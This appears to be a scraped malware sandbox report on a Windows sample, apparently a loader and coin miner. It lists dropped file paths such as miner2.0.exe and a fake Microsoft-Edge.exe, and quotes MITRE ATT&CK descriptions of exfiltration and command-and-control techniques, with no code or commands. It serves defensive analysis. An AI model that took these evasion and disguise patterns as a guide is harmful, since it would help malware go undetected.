Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\miner2.0.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services64.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sihost64.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost64.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loader_5879465914[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre